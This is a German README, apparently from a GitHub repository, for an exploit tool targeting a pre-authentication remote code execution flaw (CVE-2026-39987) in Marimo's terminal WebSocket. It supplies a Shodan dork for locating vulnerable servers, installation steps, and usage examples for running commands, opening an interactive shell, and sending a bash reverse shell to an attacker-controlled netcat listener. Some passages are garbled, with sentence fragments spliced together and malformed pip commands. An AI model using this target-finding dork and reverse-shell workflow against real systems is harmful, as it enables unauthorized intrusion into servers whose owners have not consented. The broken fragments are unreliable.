
CVE-2026-39987 Exploit-Tool - Marimo < 0.23.0 Pre-Auth RCE (WebSocket)
Proof-of-Concept (PoC)-Exploit für eine kritische Pre-Authentifizierungs-Remote-Code-Ausführungs-Sicherheitslücke (RCE) in Marimo-Versionen vor 0.23.0.
Die Sicherheitslücke ermöglicht es einem nicht authentifizierten Angreifer, sich mit dem WebSocket-Endpunkt (/terminal/ws) zu verbinden und beliebige Systembefehle auf dem Zielserver auszuführen.
/api/version-Endpunkte) verifiziert wird.--no-check zu umgehen, für Umgebungen, in denen Endpunkte verdeckt sein könnten.Sie können folgenden Dork verwenden, um potenziell anfällige Instanzen zu identifizieren:
http.favicon.hash:-1864630356
Es wird empfohlen, eine Python-Virtual-Environment zu verwenden, um die Abhängigkeiten zu installieren.
# 1. Repository klonen
git clone https://github.com/M3PH1569/CVE-2026-39987-POC.git
cd CVE-2026-39987-POC
# 2. Virtual-Environment erstellen und aktivieren
python -m venv .CVE-2026-39987
# Windows
.CVE-2026-39987\Scripts\activate
# Linux/macOS
source .CVE-2026-39987/bin/activate
# 3. Pip aktualisieren und erforderliche Abhängigkeiten installieren
# Windows
py pip install --upgrade pip ; pip install -r requirements.txt
# Linux/MacOS
python3 pip install --upgrade pip && pip install -r requirements.txt
usage: CVE-2026-39987.py [-h] [-i] [--revshell IP PORT] [--ping-interval SEC] [--ping-timeout SEC] [--no-ping] [--max-retries N] [--no-reconnect] [--no-check] target [command]
positional arguments:
target Target URL (e.g. http://localhost:8080)
command Command to execute (omit when using -i)
options:
-h, --help show this help message and exit
--no-check Skip vulnerability version check
Execution modes:
-i, --interactive Interactive shell mode
--revshell IP PORT Generate & send a bash reverse shell payload
WebSocket tuning:
--ping-interval SEC WebSocket ping interval in seconds (default: 30, more frequent for stability)
--ping-timeout SEC WebSocket ping timeout in seconds (default: 300, increased from 120 for slow servers)
--no-ping Disable WebSocket ping/pong entirely (recommended if still disconnect)
Reconnect options:
--max-retries N Max auto-reconnect attempts (default: 5)
--no-reconnect Disable auto-reconnect on unexpected disconnect
1. Einzelnen Befehl ausführen:
python CVE-2026-39987.py http://target.com:8080 "id"
2. Interaktive Shell starten:
python CVE-2026-39987.py http://target.com:8080 -i
3. Reverse-Shell ausführen:
Stellen Sie sicher, dass auf Ihrem Rechner ein netcat-Listener läuft (z. B. nc -lvnp 4444).
python CVE-2026-39987.py http://target.com:8080 --revshell 10.0.0.1 4444
4. Überprüfungen überspringen und Ausführung erzwingen:
python CVE-2026-39987.py http://target.com:8080 "whoami" --no-check
Beiträge sind willkommen! Bitte zögern Sie nicht, einen Pull Request zu erstellen.
git checkout -b feature/update-feature)git commit -m 'Add update feature')git push origin feature/update-feature)Dieses Tool dient ausschließlich zu Bildungszwecken und autorisiertem ethischen Hacking. Der Autor übernimmt keine Verantwortung für Missbrauch, Schäden oder illegale Aktivitäten, die durch dieses Skript verursacht werden. Stellen Sie stets sicher, dass Sie die ausdrückliche Genehmigung des Systembesitzers haben, bevor Sie Sicherheitstests durchführen. Die unbefugte Nutzung dieses Skripts ist illegal und strafbar.
Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die LICENSE-Datei für Details.